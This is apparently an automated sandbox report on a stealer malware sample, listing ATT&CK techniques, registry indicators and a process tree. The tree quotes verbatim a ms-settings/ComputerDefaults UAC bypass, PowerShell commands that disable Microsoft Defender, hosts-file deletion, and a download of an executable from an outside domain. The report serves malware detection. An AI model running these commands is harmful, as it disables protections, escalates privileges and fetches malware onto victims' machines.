povertystealer | 16930620b3b9166e0ffbd98f5d5b580c9919fd6ccdcc74fb996f53577f508267

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	UqhRb9F.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1916	powershell.exe
3260	powershell.exe
116	powershell.exe

Downloads MZ/PE file

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	UqhRb9F.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	UqhRb9F.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	New Text Document mod.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	wscript.exe

Executes dropped EXE 34 IoCs

pid	Process
4628	UqhRb9F.exe
2748	Tq4a1Bz.exe
4944	Tq4a1Bz.exe
1992	wKQeiIr.exe
1568	fHR9z2C.exe
3588	filer.exe
4904	AmLzNi.exe
740	Xworm%20V5.6.exe
1560	XClient.exe
2128	333.exe
4208	VBVEd6f.exe
2000	test12.exe
4076	test6.exe
3628	test14.exe
4616	pantest.exe
4336	test9.exe
3708	test10-29.exe
2144	test19.exe
4768	test10.exe
2656	test_again4.exe
3156	test23.exe
2204	test5.exe
3756	test11.exe
2284	test20.exe
940	test_again3.exe
3944	test16.exe
1684	test13.exe
3260	test_again2.exe
2368	test15.exe
3104	test18.exe
2980	test21.exe
1520	test22.exe
1008	test8.exe
3456	test7.exe

Identifies Wine through registry keys 2 TTPs 1 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

Virtualization/Sandbox Evasion

persistence privilege_escalation

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Wine	UqhRb9F.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral4/files/0x000a000000023b7a-147.dat	autoit_exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
4628	UqhRb9F.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2748 set thread context of 4944	2748	Tq4a1Bz.exe	86

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UqhRb9F.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Tq4a1Bz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Tq4a1Bz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wKQeiIr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	333.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	VBVEd6f.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

pid	Process
3460	wmic.exe

Modifies registry class 33 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\ms-settings\Shell	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\ms-settings\Shell	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\ms-settings\Shell\Open\command\ = "wscript.exe C:\\Users\\Admin\\AppData\\Local\\Temp\\4637.vbs"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\ms-settings\Shell\Open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\ms-settings\Shell	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\ms-settings\Shell\Open\command\DelegateExecute	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\ms-settings\Shell\Open	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\ms-settings	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\ms-settings	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\ms-settings	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\ms-settings\Shell\Open\command	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\ms-settings\Shell\Open\command\DelegateExecute	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\ms-settings\Shell\Open\command	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\ms-settings\Shell\Open	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\ms-settings\Shell	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\ms-settings\Shell\Open\command\ = "wscript.exe C:\\Users\\Admin\\AppData\\Local\\Temp\\6713.vbs"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\ms-settings\Shell\Open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\ms-settings\Shell\Open	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\ms-settings	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\ms-settings\Shell\Open	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\ms-settings	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\ms-settings\Shell\Open\command	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\ms-settings\Shell\Open\command\DelegateExecute	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\ms-settings\Shell\Open\command\ = "wscript.exe C:\\Users\\Admin\\AppData\\Local\\Temp\\7871.vbs"	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\ms-settings\Shell\Open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\ms-settings\Shell\Open\command	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\ms-settings\Shell\Open	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\ms-settings\Shell\Open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\ms-settings\Shell	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\ms-settings\Shell\Open\command	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\ms-settings\Shell	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\ms-settings	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\ms-settings\Shell\Open	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe
4628	UqhRb9F.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4824	New Text Document mod.exe
Token: SeDebugPrivilege	4628	UqhRb9F.exe
Token: SeDebugPrivilege	3588	filer.exe
Token: SeDebugPrivilege	3260	powershell.exe
Token: SeDebugPrivilege	1916	powershell.exe
Token: SeDebugPrivilege	116	powershell.exe
Token: SeIncreaseQuotaPrivilege	2572	wmic.exe
Token: SeSecurityPrivilege	2572	wmic.exe
Token: SeTakeOwnershipPrivilege	2572	wmic.exe
Token: SeLoadDriverPrivilege	2572	wmic.exe
Token: SeSystemProfilePrivilege	2572	wmic.exe
Token: SeSystemtimePrivilege	2572	wmic.exe
Token: SeProfSingleProcessPrivilege	2572	wmic.exe
Token: SeIncBasePriorityPrivilege	2572	wmic.exe
Token: SeCreatePagefilePrivilege	2572	wmic.exe
Token: SeBackupPrivilege	2572	wmic.exe
Token: SeRestorePrivilege	2572	wmic.exe
Token: SeShutdownPrivilege	2572	wmic.exe
Token: SeDebugPrivilege	2572	wmic.exe
Token: SeSystemEnvironmentPrivilege	2572	wmic.exe
Token: SeRemoteShutdownPrivilege	2572	wmic.exe
Token: SeUndockPrivilege	2572	wmic.exe
Token: SeManageVolumePrivilege	2572	wmic.exe
Token: 33	2572	wmic.exe
Token: 34	2572	wmic.exe
Token: 35	2572	wmic.exe
Token: 36	2572	wmic.exe
Token: SeIncreaseQuotaPrivilege	2572	wmic.exe
Token: SeSecurityPrivilege	2572	wmic.exe
Token: SeTakeOwnershipPrivilege	2572	wmic.exe
Token: SeLoadDriverPrivilege	2572	wmic.exe
Token: SeSystemProfilePrivilege	2572	wmic.exe
Token: SeSystemtimePrivilege	2572	wmic.exe
Token: SeProfSingleProcessPrivilege	2572	wmic.exe
Token: SeIncBasePriorityPrivilege	2572	wmic.exe
Token: SeCreatePagefilePrivilege	2572	wmic.exe
Token: SeBackupPrivilege	2572	wmic.exe
Token: SeRestorePrivilege	2572	wmic.exe
Token: SeShutdownPrivilege	2572	wmic.exe
Token: SeDebugPrivilege	2572	wmic.exe
Token: SeSystemEnvironmentPrivilege	2572	wmic.exe
Token: SeRemoteShutdownPrivilege	2572	wmic.exe
Token: SeUndockPrivilege	2572	wmic.exe
Token: SeManageVolumePrivilege	2572	wmic.exe
Token: 33	2572	wmic.exe
Token: 34	2572	wmic.exe
Token: 35	2572	wmic.exe
Token: 36	2572	wmic.exe
Token: SeIncreaseQuotaPrivilege	3240	wmic.exe
Token: SeSecurityPrivilege	3240	wmic.exe
Token: SeTakeOwnershipPrivilege	3240	wmic.exe
Token: SeLoadDriverPrivilege	3240	wmic.exe
Token: SeSystemProfilePrivilege	3240	wmic.exe
Token: SeSystemtimePrivilege	3240	wmic.exe
Token: SeProfSingleProcessPrivilege	3240	wmic.exe
Token: SeIncBasePriorityPrivilege	3240	wmic.exe
Token: SeCreatePagefilePrivilege	3240	wmic.exe
Token: SeBackupPrivilege	3240	wmic.exe
Token: SeRestorePrivilege	3240	wmic.exe
Token: SeShutdownPrivilege	3240	wmic.exe
Token: SeDebugPrivilege	3240	wmic.exe
Token: SeSystemEnvironmentPrivilege	3240	wmic.exe
Token: SeRemoteShutdownPrivilege	3240	wmic.exe
Token: SeUndockPrivilege	3240	wmic.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
4904	AmLzNi.exe
4904	AmLzNi.exe
4904	AmLzNi.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
4904	AmLzNi.exe
4904	AmLzNi.exe
4904	AmLzNi.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
4628	UqhRb9F.exe
3588	filer.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4824 wrote to memory of 4628	4824	New Text Document mod.exe	83
PID 4824 wrote to memory of 4628	4824	New Text Document mod.exe	83
PID 4824 wrote to memory of 4628	4824	New Text Document mod.exe	83
PID 4824 wrote to memory of 2748	4824	New Text Document mod.exe	84
PID 4824 wrote to memory of 2748	4824	New Text Document mod.exe	84
PID 4824 wrote to memory of 2748	4824	New Text Document mod.exe	84
PID 2748 wrote to memory of 4944	2748	Tq4a1Bz.exe	86
PID 2748 wrote to memory of 4944	2748	Tq4a1Bz.exe	86
PID 2748 wrote to memory of 4944	2748	Tq4a1Bz.exe	86
PID 2748 wrote to memory of 4944	2748	Tq4a1Bz.exe	86
PID 2748 wrote to memory of 4944	2748	Tq4a1Bz.exe	86
PID 2748 wrote to memory of 4944	2748	Tq4a1Bz.exe	86
PID 2748 wrote to memory of 4944	2748	Tq4a1Bz.exe	86
PID 2748 wrote to memory of 4944	2748	Tq4a1Bz.exe	86
PID 2748 wrote to memory of 4944	2748	Tq4a1Bz.exe	86
PID 4824 wrote to memory of 1992	4824	New Text Document mod.exe	87
PID 4824 wrote to memory of 1992	4824	New Text Document mod.exe	87
PID 4824 wrote to memory of 1992	4824	New Text Document mod.exe	87
PID 4824 wrote to memory of 1568	4824	New Text Document mod.exe	91
PID 4824 wrote to memory of 1568	4824	New Text Document mod.exe	91
PID 1568 wrote to memory of 2192	1568	fHR9z2C.exe	94
PID 1568 wrote to memory of 2192	1568	fHR9z2C.exe	94
PID 2192 wrote to memory of 1436	2192	cmd.exe	96
PID 2192 wrote to memory of 1436	2192	cmd.exe	96
PID 1568 wrote to memory of 748	1568	fHR9z2C.exe	97
PID 1568 wrote to memory of 748	1568	fHR9z2C.exe	97
PID 748 wrote to memory of 2324	748	cmd.exe	99
PID 748 wrote to memory of 2324	748	cmd.exe	99
PID 748 wrote to memory of 64	748	cmd.exe	100
PID 748 wrote to memory of 64	748	cmd.exe	100
PID 1568 wrote to memory of 4992	1568	fHR9z2C.exe	101
PID 1568 wrote to memory of 4992	1568	fHR9z2C.exe	101
PID 4992 wrote to memory of 2572	4992	cmd.exe	103
PID 4992 wrote to memory of 2572	4992	cmd.exe	103
PID 2572 wrote to memory of 4048	2572	ComputerDefaults.exe	104
PID 2572 wrote to memory of 4048	2572	ComputerDefaults.exe	104
PID 4048 wrote to memory of 2776	4048	wscript.exe	107
PID 4048 wrote to memory of 2776	4048	wscript.exe	107
PID 1568 wrote to memory of 924	1568	fHR9z2C.exe	109
PID 1568 wrote to memory of 924	1568	fHR9z2C.exe	109
PID 1568 wrote to memory of 3008	1568	fHR9z2C.exe	111
PID 1568 wrote to memory of 3008	1568	fHR9z2C.exe	111
PID 3008 wrote to memory of 3564	3008	cmd.exe	113
PID 3008 wrote to memory of 3564	3008	cmd.exe	113
PID 1568 wrote to memory of 1164	1568	fHR9z2C.exe	114
PID 1568 wrote to memory of 1164	1568	fHR9z2C.exe	114
PID 1164 wrote to memory of 2340	1164	cmd.exe	116
PID 1164 wrote to memory of 2340	1164	cmd.exe	116
PID 1568 wrote to memory of 2584	1568	fHR9z2C.exe	117
PID 1568 wrote to memory of 2584	1568	fHR9z2C.exe	117
PID 2584 wrote to memory of 2960	2584	cmd.exe	119
PID 2584 wrote to memory of 2960	2584	cmd.exe	119
PID 2584 wrote to memory of 4828	2584	cmd.exe	120
PID 2584 wrote to memory of 4828	2584	cmd.exe	120
PID 1568 wrote to memory of 1272	1568	fHR9z2C.exe	121
PID 1568 wrote to memory of 1272	1568	fHR9z2C.exe	121
PID 1272 wrote to memory of 4948	1272	cmd.exe	123
PID 1272 wrote to memory of 4948	1272	cmd.exe	123
PID 4948 wrote to memory of 2820	4948	ComputerDefaults.exe	124
PID 4948 wrote to memory of 2820	4948	ComputerDefaults.exe	124
PID 2820 wrote to memory of 2176	2820	wscript.exe	125
PID 2820 wrote to memory of 2176	2820	wscript.exe	125
PID 1568 wrote to memory of 3772	1568	fHR9z2C.exe	127
PID 1568 wrote to memory of 3772	1568	fHR9z2C.exe	127

C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe
"C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe"
1⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4824
- C:\Users\Admin\AppData\Local\Temp\a\UqhRb9F.exe
  "C:\Users\Admin\AppData\Local\Temp\a\UqhRb9F.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:4628
- C:\Users\Admin\AppData\Local\Temp\a\Tq4a1Bz.exe
  "C:\Users\Admin\AppData\Local\Temp\a\Tq4a1Bz.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2748
- - C:\Users\Admin\AppData\Local\Temp\a\Tq4a1Bz.exe
    "C:\Users\Admin\AppData\Local\Temp\a\Tq4a1Bz.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4944
- C:\Users\Admin\AppData\Local\Temp\a\wKQeiIr.exe
  "C:\Users\Admin\AppData\Local\Temp\a\wKQeiIr.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:1992
- C:\Users\Admin\AppData\Local\Temp\a\fHR9z2C.exe
  "C:\Users\Admin\AppData\Local\Temp\a\fHR9z2C.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1568
- - C:\Windows\system32\cmd.exe
    /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2192
  - - C:\Windows\system32\reg.exe
      reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
      4⤵
      PID:1436
- - C:\Windows\system32\cmd.exe
    /c reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\6713.vbs" /f & reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:748
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\6713.vbs" /f
      4⤵
      Modifies registry class
      PID:2324
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
      4⤵
      Modifies registry class
      PID:64
- - C:\Windows\system32\cmd.exe
    /c start /B ComputerDefaults.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4992
  - - C:\Windows\system32\ComputerDefaults.exe
      ComputerDefaults.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2572
    - - C:\Windows\system32\wscript.exe
        
        "wscript.exe" C:\Users\Admin\AppData\Local\Temp\6713.vbs
        5⤵
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:4048
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C del C:\Windows\System32\drivers\etc\hosts
        6⤵
        
        PID:2776
- - C:\Windows\system32\cmd.exe
    /c del /f C:\Users\Admin\AppData\Local\Temp\6713.vbs
    3⤵
    PID:924
- - C:\Windows\system32\cmd.exe
    /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3008
  - - C:\Windows\system32\reg.exe
      reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
      4⤵
      Modifies registry class
      PID:3564
- - C:\Windows\system32\cmd.exe
    /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1164
  - - C:\Windows\system32\reg.exe
      reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
      4⤵
      PID:2340
- - C:\Windows\system32\cmd.exe
    /c reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\4637.vbs" /f & reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2584
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\4637.vbs" /f
      4⤵
      Modifies registry class
      PID:2960
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
      4⤵
      Modifies registry class
      PID:4828
- - C:\Windows\system32\cmd.exe
    /c start /B ComputerDefaults.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1272
  - - C:\Windows\system32\ComputerDefaults.exe
      ComputerDefaults.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4948
    - - C:\Windows\system32\wscript.exe
        
        "wscript.exe" C:\Users\Admin\AppData\Local\Temp\4637.vbs
        5⤵
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:2820
      - C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" interface ip set dns "Wi-Fi" dhcp
        6⤵
        Event Triggered Execution: Netsh Helper DLL
        
        PID:2176
- - C:\Windows\system32\cmd.exe
    /c del /f C:\Users\Admin\AppData\Local\Temp\4637.vbs
    3⤵
    PID:3772
- - C:\Windows\system32\cmd.exe
    /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
    3⤵
    PID:5020
  - - C:\Windows\system32\reg.exe
      reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
      4⤵
      Modifies registry class
      PID:4536
- - C:\Windows\system32\cmd.exe
    /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
    3⤵
    PID:4588
  - - C:\Windows\system32\reg.exe
      reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
      4⤵
      PID:1236
- - C:\Windows\system32\cmd.exe
    /c reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\7871.vbs" /f & reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
    3⤵
    PID:4496
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\7871.vbs" /f
      4⤵
      Modifies registry class
      PID:2672
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
      4⤵
      Modifies registry class
      PID:3708
- - C:\Windows\system32\cmd.exe
    /c start /B ComputerDefaults.exe
    3⤵
    PID:3012
  - - C:\Windows\system32\ComputerDefaults.exe
      ComputerDefaults.exe
      4⤵
      PID:3500
    - - C:\Windows\system32\wscript.exe
        
        "wscript.exe" C:\Users\Admin\AppData\Local\Temp\7871.vbs
        5⤵
        Checks computer location settings
        
        PID:2572
      - C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" interface ip set dns "Ethernet" dhcp
        6⤵
        Event Triggered Execution: Netsh Helper DLL
        
        PID:3548
- - C:\Windows\system32\cmd.exe
    /c del /f C:\Users\Admin\AppData\Local\Temp\7871.vbs
    3⤵
    PID:3172
- - C:\Windows\system32\cmd.exe
    /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
    3⤵
    PID:1644
  - - C:\Windows\system32\reg.exe
      reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
      4⤵
      Modifies registry class
      PID:3516
- C:\Users\Admin\AppData\Local\Temp\a\filer.exe
  "C:\Users\Admin\AppData\Local\Temp\a\filer.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:3588
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\a\filer.exe
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:3260
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:1916
- - C:\Windows\System32\Wbem\wmic.exe
    wmic os get Caption
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2572
- - C:\Windows\System32\Wbem\wmic.exe
    wmic cpu get Name
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3240
- - C:\Windows\System32\Wbem\wmic.exe
    wmic path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:3460
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get UUID
    3⤵
    PID:1432
- C:\Users\Admin\AppData\Local\Temp\a\AmLzNi.exe
  "C:\Users\Admin\AppData\Local\Temp\a\AmLzNi.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:4904
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Invoke-WebRequest -Uri "https://ratsinthehole.com/vvvv/yVdlbFlx" -OutFile "C:\Users\Public\Guard.exe""
    3⤵
